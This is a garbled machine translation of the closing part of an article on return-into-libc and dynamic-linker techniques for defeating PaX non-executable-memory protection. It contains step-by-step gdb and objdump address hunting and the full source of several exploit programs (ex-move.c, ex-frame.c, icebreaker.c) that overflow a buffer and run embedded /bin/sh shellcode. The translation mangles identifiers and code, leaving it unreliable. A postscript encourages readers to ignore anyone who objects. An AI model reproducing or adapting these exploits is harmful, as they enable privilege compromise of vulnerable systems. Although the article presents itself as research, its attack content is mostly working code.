4) POPSTACK / POPNUM / PLAIN_RET We must find the "Ret" instruction behind "Add $ IMM,% ESP". We need to disassemble the defect program Vuln.omit, you can use the GDB DISAS directive, you can also use the objDump command. Here is "Objdump - Disassemble ./vuln.omit". [Nergal @ Behemoth PAX] $ objDump --disassemble ./vuln.omit | grep -b 1 return (* identifies the resection of the RET section in the disassembler "... omitted some independent output - 80484BE: 83 C4 2C Add $ 0x2c,% ESP ~~~~~~~~ (This is the stack pointer address in the add instruction) ~~~~~ C3 RET ~~~~~~ ~~~ ("RET" instructions) - 80484FE: 5D POP% EBP 80484FF: C3 RET - Hybble Some independent output 5) Frames Now we have to find out, after the stack overflow, the stack pointer Numerical value. What we have to do is let the defects of the defects Vuln.omit generating segment error (Core Dumped), debug the defect program by generating the Core file to get the predefined value of Frames. Our Exploit Code EX-MOVE.C The "Testing" saves 0x5060708 in the instruction pointer, we only need to do this: [Nergal @ Behemoth Pax] $ ./ex-move testingsegmentation fault (core dumped) <- ----------- Overflow, carry out the next step GBD [Nergal @ Behemoth Pax] $ gdb ./vuln.omit core (no debugging symbols found) ... Core Was generated by ./vuln. Omit'.Program Terminated with signal 11, segmentation fault. # 0 0x5060708 in ?? () ~~~~~~~~~ (like the value of Ex-Move, if the value is greater than 0x5060708, means need Adjust the stack, and the exploit code ex-map.c defines the array "scratch" in the structure OV "SCRAT" needs to be adjusted.) (GDB) Info REGI (* Display the value in the register) ... ESP 0xBffFFDE0 0xBffFFDE0 ~~ ~~~~~~~~ (Stack pointer value: This is the Feames value we have to find) ... After some twists and turns, it finally completed the predefined exploit code EX-MOVE.C. Now come to see the EXPLOIT code for defects that do not use the optimized options: EX-frame.c
Ii. EX-frame.c ~~~~~~~~~~~~~~ Wow, but also adjust A, nonsense:) Libc, Strcpy, Mmap, Leaveret and Frames require appropriate adjustment, and ex-move The Chinese method is similar in. The Chinese method is similar, LIBC, STRCPY, MMAP, and Frames are also true. The address of the Leavereet is the address of the "Leave; Ret" instruction sequence. Looking for it with the same way, using the objdump --disassemble command. [Nergal @ Behemoth PAX] $ OBJDUMP - DISASSEMBLE VULN | GREP Leave -a 1 Objdump: Vuln: No Symbols 8048333: C9 Leave 8048333: C3 RET - 80484BD: C9 Leave ~~~~~~~ (Forged by 3.3) Frame You can know that the LEAVE address of the second frame is what we need) 80484BE: C3 RET - 8048518: C9 Leave 8048519: C3 Retiii. DL-resolve.c ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Repairing the predefined strtab, symtab, jmprel, versym, and plt_section constant values of the code due to the relationship between the DL-Resolve.c2 enrollment itself, requires two compilations. For the first time, we only need a #define dummy value. Then be the following command: [Nergal @ Behemoth PAX] $ Objdump -x DL-Resolve Output The following information (dynamic symbol table, string table, relocation entry, etc): [... no information ...] dynamic segment region: NEEDED libc.so.6 INIT 0x804839c FINI 0x80486ec HASH 0x8048128 STRTAB 0x8048240 (obtained STRTAB address string table) SYMTAB 0x8048170 (obtained SYMTAB symbol table address) STRSZ 0xa1 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x80497a8 PLTRELSZ 0x48 PLTREL 0x11 JMPREL 0x8048354 (address obtained JMPREL And the PLT address is associated) REL 0x8048344 RELSZ 0x10 rent 0x8 verneed 0x8048314 VerneedNum 0x1 Versym 0x80482f8 (get VersyM symbol version address)
"objDump -x" command output process connection table (PLT) segment area [... unrelated information ...] segment area: Index Name Size VMA LMA file Off alGn 0 .INTERP interrupt 10000013 080480f4 080480f4 000000f4 2 ** 0. .. 11.plt process connection table segment 000000A0 080483CC 080483CC 000003cc 2 ** 2 ~~~~~~~~~~~~~~~~~~ - this address is the PLT entrance address, get a predefined PLT_SECTION value CONTENTS, ALLOC, LOAD, READONLY, CODE again compiled code dl-resolve.c, finally we can see like the following: old_mmap (0xaa011000, 16846848, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0x1011000) = 0xAA011000_exit (123) =? This, MMAP () is called, although it is not in the PLT portal of DL-Resolve.c. Of course, we can add to Shellcode, but there is not much necessary to prove the theory.
IV. Icebreaker.c ~~~~~~~~~~~~~~~~ 9 predefined needs, two fixed: framesindata and vind.1) framesindata this is positioning or divided into fake frames from memory Copy static variable, in Pax.c, we need to find the address of the "Bigbuf" array, if the attacked 2 credit is not shell, then it is easy to get the address, in turn, we must analyze the contrastive output, In Pax.C 13 lines, "Bigbuf" variables appear in the parameters of the "strncat" function, as follows: strncat (Bigbuf, PTR, SIZEOF (Bigbuf) -1); then, we need to find the Strncat function address: [Nergal @ Behemoth PAX] $ OBJDUMP -T PAX | GREP STRNCAT0804836C DF * UND * 0000009E glibc_2.0 strncat ~~~~~~~~ (STRNCAT function address) [Nergal @ Behemoth PAX] $ OBJDUMP -D PAX | GREP 804836C -B 3 <- _NOT_ 0804836C (* Discharge PAX, through the strncat address, find the address of Bigbuf) Objdump: Pax: No Symbols 8048362: FF 25 C8 95 04 08 JMP * 0x80495c8 8048368: 00 00 Add% Al, (% EAX) 804836A: 00 00 00 00 00 0004836c: FF 25 CC 95 04 08 JMP * 0x80495cc - 80484E5: 68 FF 03 00 00 Push $ 0x3ff <- 1023 80484ea: FF 75 E4 Pushl 0xffffffe4 (% EBP) <- PTR 80484ed: 68 C0 9A 04 08 Push $ 0x8049ac0 <- Bigbuf 80484f2: e8 75 Fe FF FF CALL 0x804836C Find the address of the Bigbuf is 0x8049ac0. That is, for a predefined framesindata value.
2) Vind mentioned the interval of [low address, high address], looking for short zero bytes in the interval, this interval is [Versym (Low_addr-SymTab) / 8, Versym (Hi_Addr-SymTab) / 8] Area. (See Section 6.2) [Nergal @ Behemoth PAX] $ GDB ./icebreaker (GDB) SET ARGS TESTING (Setting parameters ") (GDB) R (running IceBreaker program with parameter TESTISG) Starting Program: / Home / Nergal /pax/./icebreaker testingProgram received signal SIGTRAP, Trace / breakpoint trap.Cannot remove breakpoints because program is no longer writable.It might be running in another process.Further execution is probably impossible.0x4ffb7d30 in ?? () <- icebreaker performed PAX (GDB) C (continued to perform the next function) Continuing.
Program received signal SIGSEGV, Segmentation fault.Cannot remove breakpoints because program is no longer writable.It might be running in another process.Further execution is probably impossible.0x5060708 in ?? () <- error obtained pax segment (gdb) shell ( Shell) [Nergal @ Behemoth PAX] $ PS AX | GREP PAX (Get PAX Process Number: 1419) 1419 PTS / 0 T 0:00 Pax [Nergal @ Behemoth PAX] $ CAT / Proc / 1419 / Maps (View Process Number) Image files in 08048000-08049000 r-xp 00000000 03:45 100958 / Home / Nergal / Pax / Pax08049000-0804A000 RW-P 00000000 03:45 100958 / Home / Nergal / Pax / Pax ^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^ This is the low address we find (0x08049000), high address (0x0804a000) 4FFB6000-4FFCC000 R-XP 00000000 03 : 45 107760 /Lib/ld-2.1.92.so4ffc000-4ffcd000 rw-p 00015000 03:45 107760 / Lib/LD-2.1.92.so4ffcd000-4FFCE000 RW-P 00000000 00:00 04FFD4000-500EF000 r-xp 00000000 03 : 45 107767 /Lib/Libc-2.1.92.so500EF000-500F5000 RW-P 0011A000 03:45 107767 /Lib/Libc-2.1.92.so500F5000-500F9000 RW-P 00000000 00:00 0BFFF6000 -BFFF8000 00:00 0 [Nergal @ Behemoth PAX] $ EXIT (Exit Shell, enter GDB debugging mode) Exit (GDB) Printf "0x% x / n", 0x80482a8 (0x08049000-0X8048164) / 8 0x804847b ( Calculate Versym (Low_ADDR-SYMTAB) / 8) (GDB) Printf "0x% x / n", 0x80482a8 (0x0804a000-0X8048164) / 80x804867b (calculated VERSYM (Hi_ADDR-SYMTAB) / 8 value) / * Now We search for short zero bytes (GDB) Printf "0x% x / n", 0x804867B-0X804847B0X200 (size) (GDB) X / 256HX 0x8048477b (display) Out 256 binary memory areas to search for "0000" short zero bytes ... Very many quadrant star rain 0000 here ...
Now read 6.2 articles, learn more "Meteor Garden" <-> Code Section < > Vuln.c # include
#include
#define libc 0x4001E000 # Define struffpy 0x08048398 # define mmap (0x000daf10 libc) #define popstack 0x80484be # define plain_ret 0x80484c1 # define popnum 0x2c # define frames 0xBffFFDE0
#define mmap_start 0xaa011000
Char hellcode [] = "/ x90" "/ x31 / xc0 / xb0 / x31 / xcd / x80" "/ Xeb / x1f / x5e / x89 / x76 / x08 / X31 / XC0 / X88 / X46 / X07 / XB0 / X0B "" / x89 / xf3 / x8d / x4e / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
/ * This is a stack frame of a function which takes two arguments * / struct two_arg {unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2;}; struct mmap_args {unsigned int func; unsigned int leave_ret; unsigned int START; Unsigned Int Length; unsigned int
Int fd; unsigned int offset;
/ * The beginning of outflow paypyload. Consumes the buffer space and overwrites% EIP * / STRUCT OV {char scratch [28]; unsigned int
/ * The second part ot the payload Four functions will be called:. Strcpy, strcpy, mmap, strcpy * / struct ourbuf {struct two_arg zero1; char pad1 [8 POPNUM - sizeof (struct two_arg)]; struct two_arg zero2; char pad2 [8 POPNUM - sizeof (struct two_arg)]; struct mmap_args mymmap; char pad3 [8 POPNUM - sizeof (struct mmap_args)]; struct two_arg trans; char hell [sizeof (hellcode)];}; # define PTR_TO_NULL ( Frames Sizeof (Struct Ourbuf) File: // # define PTR_TO_NULL 0x80484A7
Main (int Argc, char ** argv) {char LG [SIZEOF (STRUCT OV) 4 1]; Char * ENV [2] = {LG, 0}; Struct Ourbuf thebuf; Struct Ov Theov; INT I;
MEMSET (THEOV.SCRATCH, 'X', SIZEOF (THEOV.SCRATCH);
IF (argc == 2 &&! strcmp ("testing", argv [1])) {for (i = 0; i MEMSET (& THEBUF, 'Y', SIZEOF (THEBUF); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = POPSTACK; / * The following assignment puts into "param1" the address of the least significant byte of the "offset" field of "mmap_args" structure This byte will be nullified. . by the strcpy call * / thebuf.zero1.param1 = FRAMES offsetof (struct ourbuf, mymmap) offsetof (struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.func = sTRCPY; thebuf.zero2 .leave_ret = pOPSTACK; / * Also the "start" field must be the multiple of page We have to nullify its least significant byte with a strcpy call * / thebuf.zero2.param1 = FRAMES offsetof (struct ourbuf, mymmap).. Offsetof (struct mmap_args, start); thebuf.zero2.Param2 = PTR_TO_NULL; thebuf.mymmap.func = MMAP; / * function mmap calls * / thebuf.mymmap.leave_ret = POPSTACK; thebuf.mymmap.start = MMAP_START 1; / * mmap function map start address * / thebuf.mymmap.length = 0x01020304; / * MMAP function image length * // * Luckily, 2.4.x kernels Care Only for the lowest byte of "prot", so weput non-zero junk in the other.. 2.2.x kernels are more picky; in Such Case ., we would need more zeroing * / thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;. / * Same as above Be careful not to include MAP_GROWS_DOWN * / thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS Thebuf.mymmap.fd = 0xfffffffff; / * File Descriptor, is -1 * / thebuf.mymmap.offset = 0x01021001; / * MMAP offset * // * Each parameter of the function mmap (), see section 4.2 * // * the final "strcpy" call will copy the shellcode into the freshly mmapped area at MMAP_START. Then, it will return not anymore into pOPSTACK, but at MMAP_START 1. * // * the following call strcpy (), Copy shellcode to a new MMAP image area, the area in the parameter * START address 1 * / Thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START 1; thebuf.trans.param1 = MMAP_START 1; thebuf.trans.param2 = FRAMES offsetof (struct ourbuf, hell); memset (thebuf. Hell, 'X', Sizeof (Thebuf.Hell); Strncpy (THEBUF.HELL, Hellcode, Strlen (Hellcode); STRCPY (LG, "LNG ="); Memcpy (LG 4, & THEOV, SIZEOF (THEOV)); Memcpy (LG 4 SizeOf (THEOV), & THEBUF, SIZEOF (THEBUF); LG [4 Sizeof (Thebuf sizeof (theov)] = 0; IF (Struct OV) 4! = Strlen (LG)) {FPRINTF (stderr, "size =% I ghen =% i; zero (s) in the payload, Correct it./n ", SIZEOF (STRUCT OV) 4, Strlen (LG)); exit (1);} Execle (" ./ Vuln.omit "," ./vuln.omit ", 0, ENV, 0);} <-> < > pax.c # include INTMAIN (int Argc, char ** argv) {char Buf [16]; char * ptr = getenv ("str"); if (ptr) {BIGBUF [0] = 0; strncat (Bigbuf, PTR, SIZEOF (Bigbuf) -1);} PTR = getenv ("LNG"); if (ptr) STRCPY (BUF, PTR);} <-> < > ex-frame.c / * by Nergal * / # include #define libc 0x4001E000 # Define struffpy 0x08048398 # Define mmap (0x000DAF10 libc) #define leaveret 0x80484bd # define frames 0xBffffe30 #define mmap_start 0xaa011000 Char hellcode [] = "/ x90" "/ x31 / xc0 / xb0 / x31 / xcd / x80" "/ Xeb / x1f / x5e / x89 / x76 / x08 / X31 / XC0 / X88 / X46 / X07 / XB0 / X0B "" / x89 / xf3 / x8d / x4e / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; / * See the comments in ex-move.c * / struct two_arg {unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2;}; struct mmap_args {unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset;}; struct ov {char scratch [24]; unsigned int ebp; unsigned int eip;}; Struct today_arg zero1; struct two_arg zero2; struct mmap_args mymmap; struct two_arg trans; char Hell [SizeOf (Hellcode)]; #define PTR_TO_NULL (Frames Sizeof (Struct Ourbuf)) Main (int Argc, char ** argv) {char LG [SIZEOF (STRUCT OV) 4 1]; Char * ENV [2] = {LG, 0}; Struct Ourbuf thebuf; Struct Ov Theov; INT I; MEMSET (THEOV.SCRATCH, 'X', SIZEOF (THEOV.SCRATCH); IF (argc == 2 &&! strcmp ("testing", argv [1])) {for (i = 0; i thebuf.mymmap.new_ebp = FRAMES offsetof (struct ourbuf, trans); thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START 1; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; / * again, careful not to include MAP_GROWS_DOWN below * / thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf. mymmap.offset = 0x01021001; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START 1; thebuf.trans.param1 = MMAP_START 1; thebuf.trans.param2 = FRAMES offsetof (struct ourbuf, hell ); MEMSET (THEBUF.HELL, 'X', SIZEOF (THEBUF.HELL); STRNCPY (THEBUF.HELL, Hellcode, Strlen (Hellcode); STRCPY (LG, "LNG ="); Memcpy (LG 4, & THEOV, SIZEOF (THEOV)); Memcpy (LG 4 SizeOf (THEOV), & THEBUF, SIZEOF (THEBUF); LG [4 Sizeof (Thebuf sizeof (theov)] = 0; IF (Struct OV) 4! = Strlen (LG)) {FPRINTF (stderr, "size =% I ghen =% i; zero (s) in the payload, Correct it./n ", SIZEOF (STRUCT OV) 4, Strlen (LG)); exit (1);} exdu (" ./ Vuln "," ./vuln ", 0, env, 0);} <-> < > dl-resolve.c / * by Nergal * / # include #define strtab 0x8048240 # Define symtab 0x8048170 # define jmprel 0x8048354 # define versym 0x80482f8 #define plt_section "0x080483cc" Void graceful_exit () {exit (123); void doit (int offset) {int res; __asm__ volatile ( "pushl $ 0x01011000 pushl $ 0xffffffff pushl $ 0x00000032 pushl $ 0x00000007 pushl $ 0x01011000 pushl $ 0xaa011000 pushl %% ebx pushl %% eax pushl $" PLT_SECTION "ret": "= A "(RES):" 0 "(Offset)," B "(graceful_exit);} / * This Must be global * / Elf32_rel reloc; #define ANYTHING 0xfe # define RQSIZE 60000intmain (int argc, char ** argv) {unsigned int reloc_offset; unsigned int real_index; char symbol_name [16]; int dummy_writable_int; char * tmp = malloc (RQSIZE); Elf32_Sym * sym; unsigned short * null_short = (unsigned short *) tmp; / * create a null index into VERSYM * / * null_short = 0; real_index = ((unsigned int) null_short - VERSYM) / sizeof (* null_short); sym = (Elf32_Sym *) ( REAL_INDEX * SIZEOF (* SYM) SYMTAB); if (unsigned int) TMP RQSIZE) {fprintf (stderr, "mmap symbol entry is to far, increase rqsize / n"); exit (1 } / * Baby my favorably Number is not a white, baby my favorage number is not a black ---- magic number * / strcpy (symbol_name, "mmap"); SYM-> ST_NAME = (unsigned int) Symbol_name - (unsigned int) stratab; SYM-> ST_VALUE = (unsigned int) & dummy_wr itable_int; sym-> st_size = ANYTHING; sym-> st_info = ANYTHING; sym-> st_other = ANYTHING & ~ 3; sym-> st_shndx = ANYTHING; reloc_offset = (unsigned int) (& reloc) - JMPREL; reloc.r_info = R_386_JMP_SLOT REAL_INDEX * 256; Reloc.r_offset = (unsigned int) & Dummy_Writable_INT; DOIT ("NOT Reached / N"); Return 0;} <-> The Oneself That Do The Affair, Deeply Drunk Likes Among The, And Forget Any Politics with Tiresome, with Concentration Study, And Have No To show interest. -R000t < > Icebreaker.c / * by Nergal * / # include #define strtab 0x8048204 # Define symtab 0x8048164 # define jmprel 0x80482f4 # define versym 0x80482a8 # define plt 0x0804835c #define vind 0x804859b #define mmap_start 0xaa011000 Char hellcode [] = "/ x31 / xc0 / xb0 / x31 / xcd / x80 / x93 / x31 / xc0 / xb0 / x17 / xcd / x80" "/ x76 / x08 / x31 / xc0 / x88 / x46 / x07 / x89 / x46 / x0c / xb0 / x0b "/ x89 / xf3 / x8d / x4e / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd "/ X80 / xe8 / xdc / xff / xff / xff / bin / sh"; / * Unfortunately, if mmap_string = "mmap", Accidentaly There APPEARS A "0" in outload. SO, WE Shift the name by 1 (one 'x'). * / # Define name_add_off 1 char mmap_string [] = "xmmap"; struct two_arg {unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2;}; struct mmap_plt_args {unsigned int new_ebp; unsigned int put_plt_here; unsigned int reloc_offset; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset;}; struct my_elf_rel {unsigned int r_offset; unsigned int r_info;}; struct my_elf_sym {unsigned int st_name; unsigned int st_value; unsigned int st_size; / * Symbol size * / unsigned char st_info; / * Symbol type and binding * / unsigned char st_other; / * ELF spec say: No defined meaning, 0 * / unsigned short st_shndx; / * Section index * /}; struct ourbuf {struct two_arg reloc; struct two_arg zero [8]; struct mmap_plt_args mymmap; struct two_arg trans; char hell [sizeof (hellcode)]; struct my_elf_rel r; struct my_elf_sym sym; char mmapname [sizeof (mmap_string)]; } Struct Ov {char scratch [24]; unsigned int ebp;}; #define PTR_TO_NULL (VIND 1) / * this functions prepares strcpy frame so that the strcpy call will zero a byte at "addr" * / void fix_zero (struct ourbuf * b, unsigned int addr, int idx) {b-> zero [IDX] .new_ebp = framesindata offsetof (struct ouf, zero) sizeof (struct two_arg) * (IDX 1); b-> zero [idx] .func = strcpy; b-> zero [idx] .Leave_ret = Leaveret; b-> zero [idx] .Param1 = addr; b-> zero [idx] .PARAM2 = PTR_TO_NULL;} / * this function checks if the byte at position "Offset" is Zero; if So, Prepare A Strcpy Frame to nullify it; else, prepare a strcpy frame to nullify some secure, unused location * / void setup_zero (struct ourbuf * b, unsigned int offset, int zeronum) {char * ptr = (char *) b; if (ptr [! Offset]) {fprintf (stderr, "fixing zero at% I (OFF =% i) / n", zeronum, offset; PTR [offset] = 0xff; fix_zero (b, framesindata offset, zeronum);} else FIX_ZERO (B, Framesindata SizeOf (Struct Ourbuf) 4, Zeronum); / * Same as above, but prepare to nullify a byte not in our payload, but at absolute address abs * / void setup_zero_abs (struct ourbuf * b, unsigned char * addr, int offset, int zeronum) {char * ptr = (char *) b; if (! ptr [offset]) {fprintf (stderr, "fixing abs Zero at% i (OFF =% i) / n", zeronum, offset; PTR [offset] = 0xff; fix_zero (B, (unsigned int);} else fix_zero (b, frame ") 4, zeronum);} int main (int Argc, char ** argv) {char LNG [Struct OV) 4 1]; char STR [Struct Ourbuf) 4 1]; Char * ENV [3] = {LNG, STR, 0}; Struct Ourbuf Thebuf; Struct Ov Theov; Int i; unsigned int real_index, mysym , reloc_offset; Memset (THEOV.SCRATCH); if (Argc == 2 &&! Strcmp ("Testing", Argv [1])) {for (i = 0; i / * This strcpy call will relocate my_elf_sym from our payload to a fixed, appropriate location (mysym) * / thebuf.reloc.new_ebp = FRAMESINDATA offsetof (struct ourbuf, zero); thebuf.reloc.func = STRCPY; thebuf.reloc. leave_ret = LEAVERET; thebuf.reloc.param1 = mysym; thebuf.reloc.param2 = FRAMESINDATA offsetof (struct ourbuf, sym); thebuf.mymmap.new_ebp = FRAMESINDATA offsetof (struct ourbuf, trans); thebuf.mymmap.put_plt_here = PLT; thebuf.mymmap.reloc_offset = reloc_offset; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; thebuf. mymmap.flags = 0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021000; thebuf.trans.new_ebp = 0x01020 304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START 1; thebuf.trans.param1 = MMAP_START 1; thebuf.trans.param2 = FRAMESINDATA offsetof (struct ourbuf, hell); memset (thebuf. Hell, 'X', Sizeof (THEBUF.HELL); Memcpy (THEBUF.HELL, Hellcode, Strlen (Hellcode); thebuf.r.r_info = 7 256 * real_index; thebuf.r.r_offset = FRAMESINDATA sizeof (thebuf) 4; thebuf.sym.st_name = FRAMESINDATA offsetof (struct ourbuf, mmapname) NAME_ADD_OFF- STRTAB; thebuf.sym .st_value = FRAMESINDATA sizeof (thebuf) 4; #define ANYTHING 0xfefefe80 thebuf.sym.st_size = ANYTHING; thebuf.sym.st_info = (unsigned char) ANYTHING; thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~ 3; thebuf.sym.st_shndx = (unsigned short) Anything; strcpy (thebuf.mmapname, mmap_string); / * Setup_zero [_abs] functions prepare arguments for strcpy calls, whichare to nullify certain bytes * / setup_zero (& thebuf, offsetof (struct ourbuf, r) offsetof (struct my_elf_rel, r_info) 2, 0); Setup_zero (& THEBUF, OFFSETOF (STRUCT OURBUF, R) OFFSETOF (STRUCT MY_ELF_REL, R_INFO) 3, 1); Setup_zero_abs (& thebuf, (char *) mysym offetof (STRUCT MY_EM, ST_NAME) 2, Offsetof (Struct Ourbuf, SYM) Offsetof (Struct MY_E_SYM, ST_NAME) 2, 2); Setup_zero_abs (& THEBUF, (Char *) MySYM Offsetof (STRUCT MY_EM, ST_NAME) 3, Offsetof (Struct Ourbuf, SYM) Offsetof (Struct my_elf_sym, s_name) 3, 3); Setup_zero (& THEBUF, OFFSETOF (STRUCT OURBUF, MYMMAP) Offsetof (struct mmap_plt_args, start), 4); Setup_zero (& THEBUF, OFFSETOF (Struct Ourbuf, Mymmap) Offsetof (Struct Mmap_PLT_ARGS, OFFSET), 5); setup_zero (& thebuf, offsetof (struct ourbuf, mymmap) offsetof (struct mmap_plt_args, reloc_offset) 2, 6); setup_zero (& thebuf, offsetof (struct ourbuf, mymmap) offsetof (struct mmap_plt_args, reloc_offset) 3, 7); STRCPY (STR, "Str ="); Memcpy (STR 4, & THEBUF, SIZEOF (THEBUF)); STR [4 Sizeof (THEBUF)] = 0; IF (Struct Ourbuf) 4> Strlen (STR) sizeof (THEBUF.MMAPNAME)) {fprintf (stderr, "zeroes in the payload, sizeof =% d, len =% D, Correct it! / n", SIZEOF (STRUCT OURBUF) 4, Strlen (STR)); FPRINTF (stderr, "sizeof thebuf.mmapname =% d / n", sizeof (thebuf.mmapname)); exit (1);} execle ("./ pax", "pax", 0, eNV, 0); Return 1;} <-> ps anyproblem (Concerning the Technique, or Translation), Welcome Pass the e-mail Postscript: Hurry to complete such translation, excite and pain. The author is an unfolded kernel-grade vulnerability discovery expert, the authors use the mechanical analysis of the PAX to prevent the stack (such as the kernel patches that can be performed by the data segment), how to escape the protection of Pax and how to strengthen the protected solution, And attack, a one, very wonderful; there are many technical documents and pages of the ELF executable link files in the PAX project, especially "unhappiness", compiling the compilation of the protection mode Learn, if you are thin. Based on the past overflow technology, the author proposes a lib function and a dynamic link to return to these new technologies, and the specific implementation is analyzed in advanced Exploit. This article will throw bricks, "Although these technologies are mastered, what is not bad for fanatic computer enthusiasts, maybe you are discussing these technologies, some people try to stop you, or when you want to know them, some people bring you unpleasant Feel, forget these people. Just do it. "I believe that you understand what I said.